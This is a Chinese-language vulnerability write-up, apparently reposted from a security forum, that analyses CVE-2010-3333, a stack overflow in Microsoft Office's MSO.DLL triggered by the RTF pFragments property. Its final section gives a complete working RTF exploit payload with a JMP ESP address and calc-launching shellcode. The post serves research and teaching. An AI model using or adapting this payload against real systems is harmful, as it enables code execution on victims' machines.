Note——CVE-2010-3333 - ERFZE

admin 2021年12月31日03:43:38评论78 views字数 2170阅读7分14秒阅读模式

0x01 漏洞描述

  • 漏洞成因:栈溢出漏洞。MSO.DLL在处理pFragments数组时未校验复制长度,故可构造数据造成栈溢出,劫持执行流。

  • 影响版本:Microsoft Office XP SP3, Office 2003 SP3, Office 2007 SP2, Office 2010, Office 2004 and 2008 for Mac, Office for Mac 2011。

0x02 漏洞分析

分析环境:

OS版本:Windows XP SP3

Word版本:11.0.5604.0

MSO.DLL版本:11.0.5606.0

使用msf生成POC:

WinDbg附加WINWORD.exe,打开POC文档,崩溃点如下:

崩溃原因是EDI指向内存区域为只读属性:

重新附加WINWORD.exebp 30e9eb88设置断点,载入POC,成功断下,查看调用堆栈如下:

IDA载入MSO.DLL,定位到0x30F4CC93位置,查看其如何传递参数:

EDI指向sub_30F4CC5D中局部变量,距离函数返回地址0x14字节,而sub_30E9EB62在执行复制操作之前并未检查长度,故可以造成栈溢出。

ESIsub_30D2810C返回值相关,跟进分析:

ECX值需回溯到sub_30F4CD58中:

回溯到sub_30F4CD58

回溯到此,三个参数的传递过程都已清晰,参数1:

参数2为ebp-10h,参数3为0。

借由WinDbg查看参数1具体值,bp 30F4CD58

bp 30F4CC73:

bp 30F4CC7D

最终传递给sub_30E9EB62三个参数如下:

计算复制长度及源位置:

WinHex查看POC:

整体思路:由崩溃点确定漏洞触发位置——>回溯调用栈——>分析参数如何计算及传递。

0x03 构造POC

查阅Microsoft Office Word 2003 RTF Specification可知:

定义数组规范如下:

定义Drawing Object(绘图对象)属性规范如下:

首先我们构造一RTF文档如下:

{\rtf1{\shp{\*\shpinst{\sp{\sn pFragments}{\sv 1;1;12345678}}}}}

执行到0x3122FFE8处:

此时其返回值为0,不会执行到调用Ordinal501处:

Ordinal501过程会修改内存0x014d1592处内容,进而影响到sub_30E9EB62中复制长度:

接着构造RTF文档如下:

{\rtf1{\shp{\*\shpinst{\sp{\sn pFragments}{\sv 1;1;123456780800616162636465666768}}}}}

执行完0x3122FFE8后返回值为1:

跟进Ordinal501

继续执行到0x30E9EB88处:

最终构造POC内容如下:

{\rtf1{\shp{\*\shpinst{\sp{\sn pfragments}{\sv 1;1;1234567801016161616162626262636363636464646465656565904dc57dAABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD33c050b82e646c6c50b8656c333250b86b65726e508bc450b87b1d807cffd033c050b82e65786550b863616c63508bc46a0550b8ad23867cffd033c050b8faca817cffd0}}}}}

{\rtf1{\shp{\*\shpinst{\sp{\sn pfragments}{\sv 1;1;无需多言,12345678是填充数据,0101是复制长度(笔者并未精确计算),6161616162626262636363636464646465656565用以填充栈,904dc57d是JMP ESP指令地址,AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD会被处理为全零(详见下文),33c050b82e646c6c50b8656c333250b86b65726e508bc450b87b1d807cffd033c050b82e65786550b863616c63508bc46a0550b8ad23867cffd033c050b8faca817cffd0是一段弹计算器Shellcode(一定要以小写字母形式写入)。


注:

  1. AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD会被处理为全零

    据笔者调试,复制字符中的大写字母会以0进行替换:

    30F4CB29处指令会将[ebp+10h]与0进行比较——若不相等,会调用sub_30F4CE43,如此一来,会出现如下提示:

    而不会跳转到Shellcode执行。[ebp+10h]指向数据正好位于此块中,故我们借其处理机制将之全部替换为0,以完成跳转:

    最终成功弹出计算器:

  2. 上述内容笔者采用"正序"阐述,但实际调试过程却是"倒序"。最初切入点是0x30E9EB6F,确定长度字节位置:

    而此处内存由VirtualAlloc分配,故附加WINWORD.EXE后于该API处设断,F9运行起来,打开RTF文档,第三次断下时:

    此时便可于0x14D158C处设置内存访问断点。

BY:先知论坛

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月31日03:43:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Note——CVE-2010-3333 - ERFZEhttp://cn-sec.com/archives/708186.html

发表评论

匿名网友 填写信息